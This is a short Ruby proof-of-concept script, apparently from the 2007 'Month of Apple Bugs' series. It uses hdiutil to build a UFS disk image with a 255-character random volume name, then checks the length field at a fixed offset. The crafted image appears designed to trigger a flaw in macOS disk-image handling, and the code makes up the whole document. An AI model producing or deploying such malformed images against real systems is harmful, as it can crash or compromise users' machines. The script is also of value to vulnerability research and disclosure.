MOAB-09-01-2007.rb.txt

`#!/usr/bin/ruby  
# (c) 2006 LMH <lmh [at] infopull.com>.  
#  
  
require 'fileutils'  
require 'zlib'  
  
hdiutil = "/usr/bin/hdiutil"  
dmgname = (ARGV[0] || "MOAB-09-01-2007.dmg")  
dmgsize = (ARGV[1] || "200k")  
filesys = (ARGV[2] || "UFS")  
volname = ""  
  
255.times do  
volname << (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr  
end  
  
FileUtils.rm_f(dmgname)  
system "#{hdiutil} create #{dmgname} -size #{dmgsize} -fs #{filesys} -volname #{volname}"  
  
puts "++ reading #{dmgname}..."  
dmg_stream = File.read(dmgname)  
dmg_vnsize = dmg_stream[0x9c10,0x9c14].unpack("C2")  
puts "++ volname length at dmg: #{dmg_vnsize}"  
puts "++ dmg size: #{dmg_stream.size} bytes."`